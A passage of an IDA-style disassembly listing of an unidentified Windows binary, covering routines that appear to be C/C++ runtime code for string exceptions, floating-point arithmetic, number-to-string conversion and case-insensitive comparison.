cmp edi, 0Bh
pop ecx
jz short loc_425D19
cmp edi, 4
jnz short loc_425D2C
loc_425D19: ; CODE XREF: sub_425C06+103j
; sub_425C06+10Cj
cmp edi, 8
mov dword_4DBE9C, ebx
jnz short loc_425D2C
mov eax, [ebp+arg_0]
mov dword_43D4CC, eax
loc_425D2C: ; CODE XREF: sub_425C06+111j
; sub_425C06+11Cj
xor eax, eax
pop ebx
loc_425D2F: ; CODE XREF: sub_425C06+2Cj
; sub_425C06+79j
pop edi
pop esi
pop ebp
retn
sub_425C06 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425D33 proc near ; CODE XREF: sub_425C06+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43D4C8
cmp dword_43D44C, edx
push esi
mov eax, offset dword_43D448
jz short loc_425D61
lea esi, [ecx+ecx*2]
lea esi, ds:43D448h[esi*4]
loc_425D55: ; CODE XREF: sub_425D33+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425D61
cmp [eax+4], edx
jnz short loc_425D55
loc_425D61: ; CODE XREF: sub_425D33+16j
; sub_425D33+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43D448h[ecx*4]
cmp eax, ecx
jnb short loc_425D75
cmp [eax+4], edx
jz short locret_425D77
loc_425D75: ; CODE XREF: sub_425D33+3Bj
xor eax, eax
locret_425D77: ; CODE XREF: sub_425D33+40j
retn
sub_425D33 endp
; =============== S U B R O U T I N E =======================================
sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp
; sub_4251BB+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
jnb short loc_425DDF
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DD040[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425DDF
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425DB8
and cl, 7Fh
jmp short loc_425DC5
; ---------------------------------------------------------------------------
loc_425DB8: ; CODE XREF: sub_425D78+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425DD3
or cl, 80h
loc_425DC5: ; CODE XREF: sub_425D78+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425DD3: ; CODE XREF: sub_425D78+48j
mov dword_4DBDDC, 16h
jmp short loc_425DE9
; ---------------------------------------------------------------------------
loc_425DDF: ; CODE XREF: sub_425D78+Bj
; sub_425D78+27j
mov dword_4DBDDC, 9
loc_425DE9: ; CODE XREF: sub_425D78+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425D78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DEE proc near ; CODE XREF: sub_425973+165p
; sub_42600E+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425FEE
cmp cx, 7FFFh
jnb loc_425FEE
cmp dx, 0BFFDh
ja loc_425FEE
cmp dx, 3FBFh
ja short loc_425E57
xor eax, eax
jmp short loc_425E91
; ---------------------------------------------------------------------------
loc_425E57: ; CODE XREF: sub_425DEE+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425E79
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425E79
xor eax, eax
cmp [esi+4], eax
jnz short loc_425E7B
cmp [esi], eax
jnz short loc_425E7B
jmp loc_425FE8
; ---------------------------------------------------------------------------
loc_425E79: ; CODE XREF: sub_425DEE+71j
; sub_425DEE+79j
xor eax, eax
loc_425E7B: ; CODE XREF: sub_425DEE+80j
; sub_425DEE+84j
cmp cx, ax
jnz short loc_425E9E
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425E9E
cmp [ebx+4], eax
jnz short loc_425E9E
cmp [ebx], eax
jnz short loc_425E9E
loc_425E91: ; CODE XREF: sub_425DEE+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_426009
; ---------------------------------------------------------------------------
loc_425E9E: ; CODE XREF: sub_425DEE+90j
; sub_425DEE+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425EAE: ; CODE XREF: sub_425DEE+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425F02
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425ECA: ; CODE XREF: sub_425DEE+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425EF5
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425EF5: ; CODE XREF: sub_425DEE+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425ECA
loc_425F02: ; CODE XREF: sub_425DEE+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425EAE
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425F45
loc_425F20: ; CODE XREF: sub_425DEE+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425F3E
lea eax, [ebp+var_24]
push eax
call sub_425380
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425F20
loc_425F3E: ; CODE XREF: sub_425DEE+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425F7E
loc_425F45: ; CODE XREF: sub_425DEE+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425F7E
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425F5E: ; CODE XREF: sub_425DEE+184j
test byte ptr [ebp+var_24], 1
jz short loc_425F67
inc [ebp+var_14]
loc_425F67: ; CODE XREF: sub_425DEE+174j
lea eax, [ebp+var_24]
push eax
call sub_4253AE
dec ebx
pop ecx
jnz short loc_425F5E
cmp [ebp+var_14], 0
jz short loc_425F7E
or byte ptr [ebp+var_24], 1
loc_425F7E: ; CODE XREF: sub_425DEE+155j
; sub_425DEE+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425F95
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425FCA
loc_425F95: ; CODE XREF: sub_425DEE+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425FC7
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425FC2
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425FBC
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FBC: ; CODE XREF: sub_425DEE+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC2: ; CODE XREF: sub_425DEE+1B5j
inc [ebp+var_20+2]
jmp short loc_425FCA
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425DEE+1ABj
inc [ebp+var_24+2]
loc_425FCA: ; CODE XREF: sub_425DEE+1A5j
; sub_425DEE+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425FEE
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425FE8: ; CODE XREF: sub_425DEE+86j
mov [esi+0Ah], ax
jmp short loc_426009
; ---------------------------------------------------------------------------
loc_425FEE: ; CODE XREF: sub_425DEE+42j
; sub_425DEE+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_426009: ; CODE XREF: sub_425DEE+ABj
; sub_425DEE+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425DEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42600E proc near ; CODE XREF: sub_4254A2+440p
; sub_425973+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D828
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_426087
jge short loc_426036
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D988
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_426036: ; CODE XREF: sub_42600E+16j
cmp [ebp+arg_8], ecx
jnz short loc_426041
mov eax, [ebp+arg_0]
mov [eax], cx
loc_426041: ; CODE XREF: sub_42600E+2Bj
cmp [ebp+arg_4], ecx
jz short loc_426087
push esi
push edi
loc_426048: ; CODE XREF: sub_42600E+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_426080
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_426073
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_426073: ; CODE XREF: sub_42600E+57j
push esi
push [ebp+arg_0]
call sub_425DEE
pop ecx
pop ecx
xor ecx, ecx
loc_426080: ; CODE XREF: sub_42600E+49j
cmp [ebp+arg_4], ecx
jnz short loc_426048
pop edi
pop esi
loc_426087: ; CODE XREF: sub_42600E+14j
; sub_42600E+36j
pop ebx
leave
retn
sub_42600E endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426090 proc near ; CODE XREF: sub_426173+19p
; sub_42629A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41B9C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D9B3
mov eax, esi
pop esi
retn 8
sub_426090 endp
; =============== S U B R O U T I N E =======================================
sub_4260BA proc near ; CODE XREF: ___:004260E5p
; sub_426168+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_40D977
mov ecx, esi
pop esi
jmp sub_426564
sub_4260BA endp
; =============== S U B R O U T I N E =======================================
sub_4260D5 proc near ; DATA XREF: ___:00427C94o
; ___:00427CA4o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4260E1
mov eax, offset dword_427688
locret_4260E1: ; CODE XREF: sub_4260D5+5j
retn
sub_4260D5 endp
; ---------------------------------------------------------------------------
loc_4260E2: ; DATA XREF: ___:off_427C90o
push esi
mov esi, ecx
call sub_4260BA
test byte ptr [esp+8], 1
jz short loc_4260F8
push esi
call sub_41D65F
pop ecx
loc_4260F8: ; CODE XREF: ___:004260EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4260FE proc near ; CODE XREF: sub_426173+29p
mov eax, offset loc_426AE2
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4260FE endp
; =============== S U B R O U T I N E =======================================
sub_42614C proc near ; DATA XREF: ___:off_427CA0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426168
test [esp+4+arg_0], 1
jz short loc_426162
push esi
call sub_41D65F
pop ecx
loc_426162: ; CODE XREF: sub_42614C+Dj
mov eax, esi
pop esi
retn 4
sub_42614C endp
; =============== S U B R O U T I N E =======================================
sub_426168 proc near ; CODE XREF: sub_42614C+3p
; DATA XREF: ___:00428014o
mov dword ptr [ecx], offset off_427CA0
jmp sub_4260BA
sub_426168 endp
; =============== S U B R O U T I N E =======================================
sub_426173 proc near ; CODE XREF: sub_40D824+13p
; sub_40D9E8+Ep
mov eax, offset loc_426AF4
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4260FE
push offset dword_428010
lea eax, [ebp-3Ch]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_426173 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p
; sub_4261D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D824
mov eax, esi
pop esi
retn 4
sub_4261B0 endp
; =============== S U B R O U T I N E =======================================
sub_4261D0 proc near ; CODE XREF: sub_42629A+29p
mov eax, offset loc_426B06
call sub_41D640
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427CAC
call sub_4264DD
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4261D0 endp
; =============== S U B R O U T I N E =======================================
sub_426218 proc near ; CODE XREF: sub_426282+7p
; sub_4262DE+7p ...
mov eax, offset loc_426B18
call sub_41D640
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42651A
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427C90
call sub_4261B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426218 endp
; =============== S U B R O U T I N E =======================================
sub_42625B proc near ; DATA XREF: ___:off_427CCCo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426277
test [esp+4+arg_0], 1
jz short loc_426271
push esi
call sub_41D65F
pop ecx
loc_426271: ; CODE XREF: sub_42625B+Dj
mov eax, esi
pop esi
retn 4
sub_42625B endp
; =============== S U B R O U T I N E =======================================
sub_426277 proc near ; CODE XREF: sub_42625B+3p
; DATA XREF: ___:004280BCo
mov dword ptr [ecx], offset off_427CCC
jmp sub_4260BA
sub_426277 endp
; =============== S U B R O U T I N E =======================================
sub_426282 proc near ; CODE XREF: sub_4262F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CA0
mov eax, esi
pop esi
retn 4
sub_426282 endp
; =============== S U B R O U T I N E =======================================
sub_42629A proc near ; CODE XREF: sub_40D774+15p
; sub_40D7CD+15p ...
mov eax, offset loc_426B2A
call sub_41D640
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426090
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4261D0
push offset dword_4280B8
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427CCC
call sub_426587
int 3 ; Trap to Debugger
sub_42629A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4262DE proc near ; CODE XREF: sub_4262F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426218
mov dword ptr [esi], offset off_427CCC
mov eax, esi
pop esi
retn 4
sub_4262DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4262F6 proc near ; DATA XREF: ___:00427C98o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426218
push offset dword_4280F8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426314: ; DATA XREF: ___:00427CD4o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4262DE
push offset dword_4280B8
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
loc_426332: ; DATA XREF: ___:00427CA8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426282
push offset dword_428010
lea eax, [ebp+var_1C]
push eax
call sub_426587
int 3 ; Trap to Debugger
sub_4262F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426350 proc near ; CODE XREF: sub_40D104+5Ep
; ___:00415771p ...
nop
jmp near ptr 71AB1B7Bh
sub_426350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426356 proc near ; CODE XREF: sub_41D2AC+23p
; sub_41D550+13p
nop
jmp near ptr 2880000h
sub_426356 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42635C proc near ; CODE XREF: ___:0040B091p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0Ah
jnz short loc_426371
cmp [ebp+arg_0], 0
jge short loc_426371
push 1
push 0Ah
jmp short loc_426376
; ---------------------------------------------------------------------------
loc_426371: ; CODE XREF: sub_42635C+7j
; sub_42635C+Dj
push 0
push [ebp+arg_8]
loc_426376: ; CODE XREF: sub_42635C+13j
push [ebp+arg_4]
push [ebp+arg_0]
call sub_426389
mov eax, [ebp+arg_4]
add esp, 10h
pop ebp
retn
sub_42635C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426389 proc near ; CODE XREF: sub_42635C+20p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp [ebp+arg_C], 0
mov ecx, [ebp+arg_4]
push ebx
push esi
push edi
jz short loc_4263A3
mov esi, [ebp+arg_0]
mov byte ptr [ecx], 2Dh
inc ecx
neg esi
jmp short loc_4263A6
; ---------------------------------------------------------------------------
loc_4263A3: ; CODE XREF: sub_426389+Dj
mov esi, [ebp+arg_0]
loc_4263A6: ; CODE XREF: sub_426389+18j
mov edi, ecx
loc_4263A8: ; CODE XREF: sub_426389+43j
mov eax, esi
xor edx, edx
div [ebp+arg_8]
mov eax, esi
mov ebx, edx
xor edx, edx
div [ebp+arg_8]
cmp ebx, 9
mov esi, eax
jbe short loc_4263C4
add bl, 57h
jmp short loc_4263C7
; ---------------------------------------------------------------------------
loc_4263C4: ; CODE XREF: sub_426389+34j
add bl, 30h
loc_4263C7: ; CODE XREF: sub_426389+39j
mov [ecx], bl
inc ecx
test esi, esi
ja short loc_4263A8
and byte ptr [ecx], 0
dec ecx
loc_4263D2: ; CODE XREF: sub_426389+55j
mov dl, [edi]
mov al, [ecx]
mov [ecx], dl
mov [edi], al
dec ecx
inc edi
cmp edi, ecx
jb short loc_4263D2
pop edi
pop esi
pop ebx
pop ebp
retn
sub_426389 endp
; =============== S U B R O U T I N E =======================================
sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p
; sub_41761C+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBE84, 0
push ebx
jnz short loc_42642B
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_4263F7: ; CODE XREF: sub_4263E5+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426409
cmp bx, 41h
jb short loc_426409
add ebx, 20h
loc_426409: ; CODE XREF: sub_4263E5+19j
; sub_4263E5+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_42641B
cmp ax, 41h
jb short loc_42641B
add eax, 20h
loc_42641B: ; CODE XREF: sub_4263E5+2Bj
; sub_4263E5+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_42645B
cmp bx, ax
jz short loc_4263F7
jmp short loc_42645B
; ---------------------------------------------------------------------------
loc_42642B: ; CODE XREF: sub_4263E5+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426435: ; CODE XREF: sub_4263E5+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: ___:004264A8p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; ---------------------------------------------------------------------------
loc_4264A5: ; DATA XREF: ___:off_427CECo
push esi
mov esi, ecx
call sub_426490
test byte ptr [esp+8], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: ___:004264B2j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_4264C1: ; DATA XREF: ___:off_427CF4o
push esi
mov esi, ecx
call sub_426564
test byte ptr [esp+8], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: ___:004264CEj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; ___:004264C4p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: ___:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call near ptr 26604F6h
nop
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE84, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE84
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC010, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
nop
call near ptr 2650000h
test eax, eax
jz short loc_42668A
mov dword_4DC010, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636+4Aj
push esi
push esi
push ebx
push offset word_4CB88C
push edi
push esi
nop
call near ptr 2651132h
test eax, eax
jz loc_42682B
mov dword_4DC010, 2
loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
